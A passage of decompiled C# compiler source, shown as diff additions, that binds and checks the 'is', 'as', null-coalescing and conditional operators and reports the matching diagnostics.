BoundIsOperator((SyntaxNode)(object)node, operand, boundType, conversion2.Kind, specialType); + bool tryBindAsType(ExpressionSyntax possibleType, BindingDiagnosticBag bindingDiagnosticBag, out BindingDiagnosticBag reference, out BoundTypeExpression reference2) + { + reference = BindingDiagnosticBag.GetInstance(withDiagnostics: true, ((BindingDiagnosticBag)(object)bindingDiagnosticBag).AccumulatesDependencies); + AliasSymbol alias; + TypeWithAnnotations typeWithAnnotations2 = BindType(possibleType, reference, out alias); + TypeSymbol type2 = typeWithAnnotations2.Type; + reference2 = new BoundTypeExpression((SyntaxNode)(object)possibleType, alias, typeWithAnnotations2); + if ((object)type2 != null && type2.IsErrorType()) + { + return !((BindingDiagnosticBag)reference).HasAnyResolvedErrors(); + } + return true; + } + } + + private static void ReportIsOperatorDiagnostics(CSharpSyntaxNode syntax, BindingDiagnosticBag diagnostics, TypeSymbol operandType, TypeSymbol targetType, ConversionKind conversionKind, ConstantValue operandConstantValue) + { + ConstantValue isOperatorConstantResult = GetIsOperatorConstantResult(operandType, targetType, conversionKind, operandConstantValue); + if (isOperatorConstantResult != (ConstantValue)null) + { + if (isOperatorConstantResult.IsBad) + { + Error(diagnostics, ErrorCode.ERR_BadBinaryOps, syntax, "is", operandType, targetType); + } + else + { + ErrorCode code = ((isOperatorConstantResult == ConstantValue.True) ? ErrorCode.WRN_IsAlwaysTrue : ErrorCode.WRN_IsAlwaysFalse); + Error(diagnostics, code, syntax, targetType); + } + } + } + + internal static ConstantValue GetIsOperatorConstantResult(TypeSymbol operandType, TypeSymbol targetType, ConversionKind conversionKind, ConstantValue operandConstantValue, bool operandCouldBeNull = true) + { + //IL_0115: Unknown result type (might be due to invalid IL or missing references) + //IL_011b: Invalid comparison between Unknown and I4 + //IL_012e: Unknown result type (might be due to invalid IL or missing references) + //IL_0134: Invalid comparison between Unknown and I4 + if (operandConstantValue == ConstantValue.Null) + { + return ConstantValue.False; + } + operandCouldBeNull = operandCouldBeNull && operandType.CanContainNull() && (operandConstantValue == (ConstantValue)null || operandConstantValue == ConstantValue.Null); + switch (conversionKind) + { + case ConversionKind.NoConversion: + if (!operandType.ContainsTypeParameter() && !targetType.ContainsTypeParameter()) + { + return ConstantValue.False; + } + if ((operandType.IsValueType && targetType.IsClassType() && (int)targetType.SpecialType != 2) || (targetType.IsValueType && operandType.IsClassType() && (int)operandType.SpecialType != 2)) + { + return ConstantValue.False; + } + if (targetType.IsRestrictedType() || operandType.IsRestrictedType()) + { + return ConstantValue.Bad; + } + return null; + case ConversionKind.ImplicitNumeric: + case ConversionKind.ImplicitEnumeration: + case ConversionKind.ImplicitTuple: + case ConversionKind.ExplicitTuple: + case ConversionKind.ImplicitConstant: + case ConversionKind.ImplicitUserDefined: + case ConversionKind.ExplicitNumeric: + case ConversionKind.ExplicitUserDefined: + case ConversionKind.IntPtr: + return ConstantValue.False; + case ConversionKind.ExplicitEnumeration: + if (!operandType.IsEnumType() || !targetType.IsEnumType()) + { + return ConstantValue.False; + } + goto case ConversionKind.NoConversion; + case ConversionKind.ExplicitNullable: + if (targetType.IsNullableType()) + { + return ConstantValue.False; + } + if (ConversionsBase.HasIdentityConversion(operandType.GetNullableUnderlyingType(), targetType)) + { + if (!operandCouldBeNull) + { + return ConstantValue.True; + } + return null; + } + return ConstantValue.False; + case ConversionKind.ImplicitReference: + if (!operandCouldBeNull) + { + return ConstantValue.True; + } + return null; + case ConversionKind.ExplicitReference: + case ConversionKind.Unboxing: + return null; + case ConversionKind.Identity: + if (!operandCouldBeNull) + { + return ConstantValue.True; + } + return null; + case ConversionKind.Boxing: + if (!operandCouldBeNull) + { + return ConstantValue.True; + } + return null; + case ConversionKind.ImplicitNullable: + if (!operandType.Equals(targetType.GetNullableUnderlyingType(), (TypeCompareKind)63)) + { + return ConstantValue.False; + } + return ConstantValue.True; + default: + throw ExceptionUtilities.UnexpectedValue((object)conversionKind); + } + } + + private BoundExpression BindAsOperator(BinaryExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_00b8: Unknown result type (might be due to invalid IL or missing references) + //IL_00bb: Invalid comparison between Unknown and I4 + //IL_011c: Unknown result type (might be due to invalid IL or missing references) + //IL_0120: Invalid comparison between Unknown and I4 + //IL_013a: Unknown result type (might be due to invalid IL or missing references) + //IL_013e: Invalid comparison between Unknown and I4 + //IL_0208: Unknown result type (might be due to invalid IL or missing references) + //IL_020d: Unknown result type (might be due to invalid IL or missing references) + //IL_0140: Unknown result type (might be due to invalid IL or missing references) + //IL_0144: Invalid comparison between Unknown and I4 + //IL_0233: Unknown result type (might be due to invalid IL or missing references) + //IL_0236: Invalid comparison between Unknown and I4 + //IL_024c: Unknown result type (might be due to invalid IL or missing references) + //IL_024f: Invalid comparison between Unknown and I4 + //IL_0245: Unknown result type (might be due to invalid IL or missing references) + //IL_024a: Unknown result type (might be due to invalid IL or missing references) + //IL_0265: Unknown result type (might be due to invalid IL or missing references) + //IL_026a: Unknown result type (might be due to invalid IL or missing references) + //IL_0286: Unknown result type (might be due to invalid IL or missing references) + //IL_025c: Unknown result type (might be due to invalid IL or missing references) + //IL_0261: Unknown result type (might be due to invalid IL or missing references) + BoundExpression boundExpression = BindRValueWithoutTargetType(node.Left, diagnostics); + AliasSymbol alias; + TypeWithAnnotations typeWithAnnotations = BindType(node.Right, diagnostics, out alias); + TypeSymbol typeSymbol = typeWithAnnotations.Type; + BoundTypeExpression targetType = new BoundTypeExpression((SyntaxNode)(object)node.Right, alias, typeWithAnnotations); + TypeKind typeKind = typeSymbol.TypeKind; + TypeSymbol typeSymbol2 = typeSymbol; + switch (boundExpression.Kind) + { + case BoundKind.MethodGroup: + case BoundKind.Lambda: + case BoundKind.UnboundLambda: + if (!boundExpression.HasAnyErrors) + { + Error(diagnostics, ErrorCode.ERR_LambdaInIsAs, (CSharpSyntaxNode)node); + } + return new BoundAsOperator((SyntaxNode)(object)node, boundExpression, targetType, null, null, typeSymbol2, hasErrors: true); + case BoundKind.TupleLiteral: + case BoundKind.ConvertedTupleLiteral: + if ((object)boundExpression.Type == null) + { + Error(diagnostics, ErrorCode.ERR_TypelessTupleInAs, (CSharpSyntaxNode)node); + return new BoundAsOperator((SyntaxNode)(object)node, boundExpression, targetType, null, null, typeSymbol2, hasErrors: true); + } + break; + } + if (boundExpression.HasAnyErrors || (int)typeKind == 6) + { + return new BoundAsOperator((SyntaxNode)(object)node, boundExpression, targetType, null, null, typeSymbol2, hasErrors: true); + } + if (typeSymbol.IsReferenceType && typeWithAnnotations.NullableAnnotation.IsAnnotated()) + { + Error(diagnostics, ErrorCode.ERR_AsNullableType, (CSharpSyntaxNode)node.Right, new object[1] { typeSymbol }); + return new BoundAsOperator((SyntaxNode)(object)node, boundExpression, targetType, null, null, typeSymbol2, hasErrors: true); + } + if (!typeSymbol.IsReferenceType && !typeSymbol.IsNullableType()) + { + if ((int)typeKind == 11) + { + Error(diagnostics, ErrorCode.ERR_AsWithTypeVar, (CSharpSyntaxNode)node, new object[1] { typeSymbol }); + } + else if ((int)typeKind == 9 || (int)typeKind == 13) + { + Error(diagnostics, ErrorCode.ERR_PointerInAsOrIs, (CSharpSyntaxNode)node); + } + else + { + Error(diagnostics, ErrorCode.ERR_AsMustHaveReferenceType, (CSharpSyntaxNode)node, new object[1] { typeSymbol }); + } + return new BoundAsOperator((SyntaxNode)(object)node, boundExpression, targetType, null, null, typeSymbol2, hasErrors: true); + } + if (typeSymbol.IsStatic) + { + Error(diagnostics, ErrorCode.WRN_StaticInAsOrIs, (CSharpSyntaxNode)node, new object[1] { typeSymbol }); + } + BoundValuePlaceholder boundValuePlaceholder; + BoundExpression operandConversion; + if (boundExpression.IsLiteralNull()) + { + boundValuePlaceholder = new BoundValuePlaceholder(boundExpression.Syntax, boundExpression.Type).MakeCompilerGenerated(); + operandConversion = CreateConversion((SyntaxNode)(object)node, boundValuePlaceholder, Conversion.NullLiteral, isCast: false, null, typeSymbol2, diagnostics); + return new BoundAsOperator((SyntaxNode)(object)node, boundExpression, targetType, boundValuePlaceholder, operandConversion, typeSymbol2); + } + if (boundExpression.IsLiteralDefault()) + { + boundExpression = new BoundDefaultExpression(boundExpression.Syntax, null, ConstantValue.Null, GetSpecialType((SpecialType)1, diagnostics, (SyntaxNode)(object)node)); + } + TypeSymbol typeSymbol3 = boundExpression.Type; + TypeKind typeKind2 = typeSymbol3.TypeKind; + if (typeSymbol3.IsPointerOrFunctionPointer()) + { + Error(diagnostics, ErrorCode.ERR_PointerInAsOrIs, (CSharpSyntaxNode)node); + return new BoundAsOperator((SyntaxNode)(object)node, boundExpression, targetType, null, null, typeSymbol2, hasErrors: true); + } + if ((int)typeKind2 == 4) + { + typeSymbol3 = GetSpecialType((SpecialType)1, diagnostics, (SyntaxNode)(object)node); + typeKind2 = typeSymbol3.TypeKind; + } + if ((int)typeKind == 4) + { + typeSymbol = GetSpecialType((SpecialType)1, diagnostics, (SyntaxNode)(object)node); + typeKind = typeSymbol.TypeKind; + } + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + Conversion conversion = Conversions.ClassifyBuiltInConversion(typeSymbol3, typeSymbol, CheckOverflowAtRuntime, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)node, useSiteInfo); + bool hasErrors = ReportAsOperatorConversionDiagnostics(node, diagnostics, Compilation, typeSymbol3, typeSymbol, conversion.Kind, boundExpression.ConstantValueOpt); + if (conversion.Exists) + { + boundValuePlaceholder = new BoundValuePlaceholder(boundExpression.Syntax, boundExpression.Type).MakeCompilerGenerated(); + operandConversion = CreateConversion((SyntaxNode)(object)node, boundValuePlaceholder, conversion, isCast: false, null, typeSymbol2, diagnostics); + } + else + { + boundValuePlaceholder = null; + operandConversion = null; + } + return new BoundAsOperator((SyntaxNode)(object)node, boundExpression, targetType, boundValuePlaceholder, operandConversion, typeSymbol2, hasErrors); + } + + private static bool ReportAsOperatorConversionDiagnostics(CSharpSyntaxNode node, BindingDiagnosticBag diagnostics, CSharpCompilation compilation, TypeSymbol operandType, TypeSymbol targetType, ConversionKind conversionKind, ConstantValue operandConstantValue) + { + bool flag = false; + switch (conversionKind) + { + default: + if ((!operandType.ContainsTypeParameter() && !targetType.ContainsTypeParameter()) || operandType.IsVoidType()) + { + SymbolDistinguisher symbolDistinguisher = new SymbolDistinguisher(compilation, operandType, targetType); + Error(diagnostics, ErrorCode.ERR_NoExplicitBuiltinConv, node, symbolDistinguisher.First, symbolDistinguisher.Second); + flag = true; + } + break; + case ConversionKind.Identity: + case ConversionKind.ImplicitNullable: + case ConversionKind.ImplicitReference: + case ConversionKind.Boxing: + case ConversionKind.ExplicitNullable: + case ConversionKind.ExplicitReference: + case ConversionKind.Unboxing: + break; + } + if (!flag) + { + ReportAsOperatorDiagnostics(node, diagnostics, operandType, targetType, conversionKind, operandConstantValue); + } + return flag; + } + + private static void ReportAsOperatorDiagnostics(CSharpSyntaxNode node, BindingDiagnosticBag diagnostics, TypeSymbol operandType, TypeSymbol targetType, ConversionKind conversionKind, ConstantValue operandConstantValue) + { + ConstantValue asOperatorConstantResult = GetAsOperatorConstantResult(operandType, targetType, conversionKind, operandConstantValue); + if (asOperatorConstantResult != (ConstantValue)null) + { + if (asOperatorConstantResult.IsBad) + { + Error(diagnostics, ErrorCode.ERR_BadBinaryOps, node, "as", operandType, targetType); + } + else + { + Error(diagnostics, ErrorCode.WRN_AlwaysNull, node, targetType); + } + } + } + + internal static ConstantValue GetAsOperatorConstantResult(TypeSymbol operandType, TypeSymbol targetType, ConversionKind conversionKind, ConstantValue operandConstantValue) + { + ConstantValue isOperatorConstantResult = GetIsOperatorConstantResult(operandType, targetType, conversionKind, operandConstantValue); + if (isOperatorConstantResult != (ConstantValue)null) + { + if (isOperatorConstantResult.IsBad) + { + return isOperatorConstantResult; + } + if (!isOperatorConstantResult.BooleanValue) + { + return ConstantValue.Null; + } + } + return null; + } + + private BoundExpression GenerateNullCoalescingBadBinaryOpsError(BinaryExpressionSyntax node, BoundExpression leftOperand, BoundExpression rightOperand, BindingDiagnosticBag diagnostics) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + Error(diagnostics, ErrorCode.ERR_BadBinaryOps, (CSharpSyntaxNode)node, new object[3] + { + SyntaxFacts.GetText(node.OperatorToken.Kind()), + leftOperand.Display, + rightOperand.Display + }); + leftOperand = BindToTypeForErrorRecovery(leftOperand); + rightOperand = BindToTypeForErrorRecovery(rightOperand); + return new BoundNullCoalescingOperator((SyntaxNode)(object)node, leftOperand, rightOperand, null, null, BoundNullCoalescingOperatorResultKind.NoCommonType, CheckOverflowAtRuntime, CreateErrorType(), hasErrors: true); + } + + private BoundExpression BindNullCoalescingOperator(BinaryExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_013e: Unknown result type (might be due to invalid IL or missing references) + //IL_0143: Unknown result type (might be due to invalid IL or missing references) + //IL_01a1: Unknown result type (might be due to invalid IL or missing references) + //IL_01f4: Unknown result type (might be due to invalid IL or missing references) + //IL_035f: Unknown result type (might be due to invalid IL or missing references) + //IL_0261: Unknown result type (might be due to invalid IL or missing references) + //IL_033e: Unknown result type (might be due to invalid IL or missing references) + //IL_02dc: Unknown result type (might be due to invalid IL or missing references) + BoundExpression expression = BindValue(node.Left, diagnostics, BindValueKind.RValue); + expression = BindToNaturalType(expression, diagnostics); + BoundExpression boundExpression = BindValue(node.Right, diagnostics, BindValueKind.RValue); + if (expression.HasAnyErrors || boundExpression.HasAnyErrors) + { + expression = BindToTypeForErrorRecovery(expression); + boundExpression = BindToTypeForErrorRecovery(boundExpression); + return new BoundNullCoalescingOperator((SyntaxNode)(object)node, expression, boundExpression, null, null, BoundNullCoalescingOperatorResultKind.NoCommonType, CheckOverflowAtRuntime, CreateErrorType(), hasErrors: true); + } + if (expression.IsLiteralDefault()) + { + object[] array = new object[2]; + SyntaxToken operatorToken = node.OperatorToken; + array[0] = ((SyntaxToken)(ref operatorToken)).Text; + array[1] = "default"; + Error(diagnostics, ErrorCode.ERR_BadOpOnNullOrDefaultOrNew, (CSharpSyntaxNode)node, array); + return new BoundNullCoalescingOperator((SyntaxNode)(object)node, expression, boundExpression, null, null, BoundNullCoalescingOperatorResultKind.NoCommonType, CheckOverflowAtRuntime, CreateErrorType(), hasErrors: true); + } + TypeSymbol type = expression.Type; + TypeSymbol type2 = boundExpression.Type; + bool flag = type?.IsNullableType() ?? false; + TypeSymbol typeSymbol = (flag ? type.GetNullableUnderlyingType() : type); + if (expression.Kind == BoundKind.UnboundLambda || expression.Kind == BoundKind.MethodGroup) + { + return GenerateNullCoalescingBadBinaryOpsError(node, expression, boundExpression, diagnostics); + } + if ((object)type != null && !type.IsReferenceType && !flag) + { + if (type.IsValueType) + { + return GenerateNullCoalescingBadBinaryOpsError(node, expression, boundExpression, diagnostics); + } + CheckFeatureAvailability((SyntaxNode)(object)node, MessageID.IDS_FeatureUnconstrainedTypeParameterInNullCoalescingOperator, diagnostics); + } + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + if ((object)type2 != null && type2.IsDynamic()) + { + BoundValuePlaceholder boundValuePlaceholder = new BoundValuePlaceholder(expression.Syntax, type).MakeCompilerGenerated(); + NamedTypeSymbol specialType = GetSpecialType((SpecialType)1, diagnostics, (SyntaxNode)(object)node); + BoundExpression leftConversion = CreateConversion((SyntaxNode)(object)node, boundValuePlaceholder, Conversions.ClassifyConversionFromExpression(expression, specialType, CheckOverflowAtRuntime, ref useSiteInfo), isCast: false, null, specialType, diagnostics); + boundExpression = BindToNaturalType(boundExpression, diagnostics); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)node, useSiteInfo); + return new BoundNullCoalescingOperator((SyntaxNode)(object)node, expression, boundExpression, boundValuePlaceholder, leftConversion, BoundNullCoalescingOperatorResultKind.RightDynamicType, CheckOverflowAtRuntime, type2); + } + if (flag) + { + Conversion conversion = Conversions.ClassifyImplicitConversionFromExpression(boundExpression, typeSymbol, ref useSiteInfo); + if (conversion.Exists) + { + BoundValuePlaceholder boundValuePlaceholder2 = new BoundValuePlaceholder(expression.Syntax, typeSymbol).MakeCompilerGenerated(); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)node, useSiteInfo); + BoundExpression rightOperand = CreateConversion(boundExpression, conversion, typeSymbol, diagnostics); + return new BoundNullCoalescingOperator((SyntaxNode)(object)node, expression, rightOperand, boundValuePlaceholder2, boundValuePlaceholder2, BoundNullCoalescingOperatorResultKind.LeftUnwrappedType, CheckOverflowAtRuntime, typeSymbol); + } + } + if ((object)type != null) + { + Conversion conversion2 = Conversions.ClassifyImplicitConversionFromExpression(boundExpression, type, ref useSiteInfo); + if (conversion2.Exists) + { + BoundExpression rightOperand2 = CreateConversion(boundExpression, conversion2, type, diagnostics); + BoundValuePlaceholder boundValuePlaceholder3 = new BoundValuePlaceholder(expression.Syntax, type).MakeCompilerGenerated(); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)node, useSiteInfo); + return new BoundNullCoalescingOperator((SyntaxNode)(object)node, expression, rightOperand2, boundValuePlaceholder3, boundValuePlaceholder3, BoundNullCoalescingOperatorResultKind.LeftType, CheckOverflowAtRuntime, type); + } + } + if ((object)type2 != null) + { + boundExpression = BindToNaturalType(boundExpression, diagnostics); + if (flag) + { + Conversion conversion3 = Conversions.ClassifyImplicitConversionFromType(typeSymbol, type2, ref useSiteInfo); + BoundNullCoalescingOperatorResultKind operatorResultKind = BoundNullCoalescingOperatorResultKind.LeftUnwrappedRightType; + if (conversion3.Exists) + { + BoundValuePlaceholder boundValuePlaceholder4 = new BoundValuePlaceholder(expression.Syntax, typeSymbol).MakeCompilerGenerated(); + BoundExpression leftConversion2 = CreateConversion((SyntaxNode)(object)node, boundValuePlaceholder4, conversion3, isCast: false, null, type2, diagnostics); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)node, useSiteInfo); + return new BoundNullCoalescingOperator((SyntaxNode)(object)node, expression, boundExpression, boundValuePlaceholder4, leftConversion2, operatorResultKind, CheckOverflowAtRuntime, type2); + } + } + else + { + Conversion conversion3 = Conversions.ClassifyImplicitConversionFromExpression(expression, type2, ref useSiteInfo); + BoundNullCoalescingOperatorResultKind operatorResultKind = BoundNullCoalescingOperatorResultKind.RightType; + if (conversion3.Exists) + { + BoundValuePlaceholder boundValuePlaceholder5 = new BoundValuePlaceholder(expression.Syntax, type).MakeCompilerGenerated(); + BoundExpression leftConversion3 = CreateConversion((SyntaxNode)(object)node, boundValuePlaceholder5, conversion3, isCast: false, null, type2, diagnostics); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)node, useSiteInfo); + return new BoundNullCoalescingOperator((SyntaxNode)(object)node, expression, boundExpression, boundValuePlaceholder5, leftConversion3, operatorResultKind, CheckOverflowAtRuntime, type2); + } + } + } + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)node, useSiteInfo); + return GenerateNullCoalescingBadBinaryOpsError(node, expression, boundExpression, diagnostics); + } + + private BoundExpression BindNullCoalescingAssignmentOperator(AssignmentExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + //IL_0103: Unknown result type (might be due to invalid IL or missing references) + //IL_011c: Unknown result type (might be due to invalid IL or missing references) + //IL_00df: Unknown result type (might be due to invalid IL or missing references) + MessageID.IDS_FeatureCoalesceAssignmentExpression.CheckFeatureAvailability(diagnostics, node.OperatorToken); + BoundExpression boundExpression = BindValue(node.Left, diagnostics, BindValueKind.CompoundAssignment); + ReportSuppressionIfNeeded(boundExpression, diagnostics); + BoundExpression boundExpression2 = BindValue(node.Right, diagnostics, BindValueKind.RValue); + if (boundExpression.HasAnyErrors || boundExpression2.HasAnyErrors) + { + boundExpression = BindToTypeForErrorRecovery(boundExpression); + boundExpression2 = BindToTypeForErrorRecovery(boundExpression2); + return new BoundNullCoalescingAssignmentOperator((SyntaxNode)(object)node, boundExpression, boundExpression2, CreateErrorType(), hasErrors: true); + } + TypeSymbol type = boundExpression.Type; + if (type.IsValueType && !type.IsNullableType()) + { + return GenerateNullCoalescingAssignmentBadBinaryOpsError(node, boundExpression, boundExpression2, diagnostics); + } + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + if (type.IsNullableType()) + { + TypeSymbol nullableUnderlyingType = type.GetNullableUnderlyingType(); + Conversion conversion = Conversions.ClassifyImplicitConversionFromExpression(boundExpression2, nullableUnderlyingType, ref useSiteInfo); + if (conversion.Exists) + { + TypeSymbol? type2 = boundExpression2.Type; + if ((object)type2 == null || !type2.IsDynamic()) + { + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)node, useSiteInfo); + BoundExpression rightOperand = CreateConversion(boundExpression2, conversion, nullableUnderlyingType, diagnostics); + return new BoundNullCoalescingAssignmentOperator((SyntaxNode)(object)node, boundExpression, rightOperand, nullableUnderlyingType); + } + } + } + useSiteInfo._002Ector(useSiteInfo); + Conversion conversion2 = Conversions.ClassifyImplicitConversionFromExpression(boundExpression2, type, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)node, useSiteInfo); + if (conversion2.Exists) + { + BoundExpression rightOperand2 = CreateConversion(boundExpression2, conversion2, type, diagnostics); + return new BoundNullCoalescingAssignmentOperator((SyntaxNode)(object)node, boundExpression, rightOperand2, type); + } + return GenerateNullCoalescingAssignmentBadBinaryOpsError(node, boundExpression, boundExpression2, diagnostics); + } + + private BoundExpression GenerateNullCoalescingAssignmentBadBinaryOpsError(AssignmentExpressionSyntax node, BoundExpression leftOperand, BoundExpression rightOperand, BindingDiagnosticBag diagnostics) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + Error(diagnostics, ErrorCode.ERR_BadBinaryOps, (CSharpSyntaxNode)node, new object[3] + { + SyntaxFacts.GetText(node.OperatorToken.Kind()), + leftOperand.Display, + rightOperand.Display + }); + leftOperand = BindToTypeForErrorRecovery(leftOperand); + rightOperand = BindToTypeForErrorRecovery(rightOperand); + return new BoundNullCoalescingAssignmentOperator((SyntaxNode)(object)node, leftOperand, rightOperand, CreateErrorType(), hasErrors: true); + } + + private BoundExpression BindConditionalOperator(ConditionalExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Invalid comparison between Unknown and I4 + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Invalid comparison between Unknown and I4 + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Invalid comparison between Unknown and I4 + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Invalid comparison between Unknown and I4 + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + RefKind refKind; + ExpressionSyntax expressionSyntax = node.WhenTrue.CheckAndUnwrapRefExpression(diagnostics, out refKind); + RefKind refKind2; + ExpressionSyntax expressionSyntax2 = node.WhenFalse.CheckAndUnwrapRefExpression(diagnostics, out refKind2); + int num; + if ((int)refKind == 1) + { + num = (((int)refKind2 == 1) ? 1 : 0); + if (num != 0) + { + CheckFeatureAvailability((SyntaxNode)(object)node, MessageID.IDS_FeatureRefConditional, diagnostics); + goto IL_0082; + } + } + else + { + num = 0; + } + SyntaxToken firstToken; + if ((int)refKind2 == 1) + { + firstToken = expressionSyntax2.GetFirstToken(); + diagnostics.Add(ErrorCode.ERR_RefConditionalNeedsTwoRefs, ((SyntaxToken)(ref firstToken)).GetLocation()); + } + if ((int)refKind == 1) + { + firstToken = expressionSyntax.GetFirstToken(); + diagnostics.Add(ErrorCode.ERR_RefConditionalNeedsTwoRefs, ((SyntaxToken)(ref firstToken)).GetLocation()); + } + goto IL_0082; + IL_0082: + if (num == 0) + { + return BindValueConditionalOperator(node, expressionSyntax, expressionSyntax2, diagnostics); + } + return BindRefConditionalOperator(node, expressionSyntax, expressionSyntax2, diagnostics); + } + + private BoundExpression BindValueConditionalOperator(ConditionalExpressionSyntax node, ExpressionSyntax whenTrue, ExpressionSyntax whenFalse, BindingDiagnosticBag diagnostics) + { + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + BoundExpression condition = BindBooleanExpression(node.Condition, diagnostics); + BoundExpression boundExpression = BindValue(whenTrue, diagnostics, BindValueKind.RValue); + BoundExpression boundExpression2 = BindValue(whenFalse, diagnostics, BindValueKind.RValue); + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + ConstantValue val = null; + bool hadMultipleCandidates; + TypeSymbol typeSymbol = BestTypeInferrer.InferBestTypeForConditionalOperator(boundExpression, boundExpression2, Conversions, out hadMultipleCandidates, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)node, useSiteInfo); + if ((object)typeSymbol == null) + { + ErrorCode noCommonTypeError = (hadMultipleCandidates ? ErrorCode.ERR_AmbigQM : ErrorCode.ERR_InvalidQM); + val = FoldConditionalOperator(condition, boundExpression, boundExpression2); + return new BoundUnconvertedConditionalOperator((SyntaxNode)(object)node, condition, boundExpression, boundExpression2, val, noCommonTypeError, val != null && val.IsBad); + } + TypeSymbol typeSymbol2; + bool flag; + if (typeSymbol.IsErrorType()) + { + boundExpression = BindToNaturalType(boundExpression, diagnostics, reportNoTargetType: false); + boundExpression2 = BindToNaturalType(boundExpression2, diagnostics, reportNoTargetType: false); + typeSymbol2 = typeSymbol; + flag = true; + } + else + { + boundExpression = GenerateConversionForAssignment(typeSymbol, boundExpression, diagnostics); + boundExpression2 = GenerateConversionForAssignment(typeSymbol, boundExpression2, diagnostics); + flag = boundExpression.HasAnyErrors || boundExpression2.HasAnyErrors; + typeSymbol2 = (flag ? CreateErrorType() : typeSymbol); + } + if (!flag) + { + val = FoldConditionalOperator(condition, boundExpression, boundExpression2); + flag = val != (ConstantValue)null && val.IsBad; + } + return new BoundConditionalOperator((SyntaxNode)(object)node, isRef: false, condition, boundExpression, boundExpression2, val, typeSymbol2, wasTargetTyped: false, typeSymbol2, flag); + } + + private BoundExpression BindRefConditionalOperator(ConditionalExpressionSyntax node, ExpressionSyntax whenTrue, ExpressionSyntax whenFalse, BindingDiagnosticBag diagnostics) + { + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_00a7: Unknown result type (might be due to invalid IL or missing references) + BoundExpression condition = BindBooleanExpression(node.Condition, diagnostics); + BoundExpression boundExpression = BindValue(whenTrue, diagnostics, BindValueKind.ReadonlyRef); + BoundExpression boundExpression2 = BindValue(whenFalse, diagnostics, BindValueKind.ReadonlyRef); + bool flag = boundExpression.HasErrors | boundExpression2.HasErrors; + TypeSymbol type = boundExpression.Type; + TypeSymbol type2 = boundExpression2.Type; + TypeSymbol typeSymbol; + if (!ConversionsBase.HasIdentityConversion(type, type2)) + { + if (!flag) + { + diagnostics.Add(ErrorCode.ERR_RefConditionalDifferentTypes, boundExpression2.Syntax.Location, type); + } + typeSymbol = CreateErrorType(); + flag = true; + } + else + { + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + typeSymbol = BestTypeInferrer.InferBestTypeForConditionalOperator(boundExpression, boundExpression2, Conversions, out var _, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)node, useSiteInfo); + } + boundExpression = BindToNaturalType(boundExpression, diagnostics, reportNoTargetType: false); + boundExpression2 = BindToNaturalType(boundExpression2, diagnostics, reportNoTargetType: false); + return new BoundConditionalOperator((SyntaxNode)(object)node, isRef: true, condition, boundExpression, boundExpression2, null, typeSymbol, wasTargetTyped: false, typeSymbol, flag); + } + + private static ConstantValue FoldConditionalOperator(BoundExpression condition, BoundExpression trueExpr, BoundExpression falseExpr) + { + ConstantValue constantValueOpt = trueExpr.ConstantValueOpt; + if (constantValueOpt == (ConstantValue)null || constantValueOpt.IsBad) + { + return constantValueOpt; + } + ConstantValue constantValueOpt2 = falseExpr.ConstantValueOpt; + if (constantValueOpt2 == (ConstantValue)null || constantValueOpt2.IsBad) + { + return constantValueOpt2; + } + ConstantValue constantValueOpt3 = condition.ConstantValueOpt; + if (constantValueOpt3 == (ConstantValue)null || constantValueOpt3.IsBad) + { + return constantValueOpt3; + } + if (constantValueOpt3 == ConstantValue.True) + { + return constantValueOpt; + } + if (constantValueOpt3 == ConstantValue.False) + { + return constantValueOpt2; + } + return ConstantValue.Bad; + } + + private void CheckNativeIntegerFeatureAvailability(BinaryOperatorKind operatorKind, SyntaxNode syntax, BindingDiagnosticBag diagnostics) + { + if (!Compilation.Assembly.RuntimeSupportsNumericIntPtr) + { + BinaryOperatorKind binaryOperatorKind = operatorKind & BinaryOperatorKind.TypeMask; + if ((uint)(binaryOperatorKind - 9) <= 1u) + { + CheckFeatureAvailability(syntax, MessageID.IDS_FeatureNativeInt, diagnostics); + } + } + } + + private void 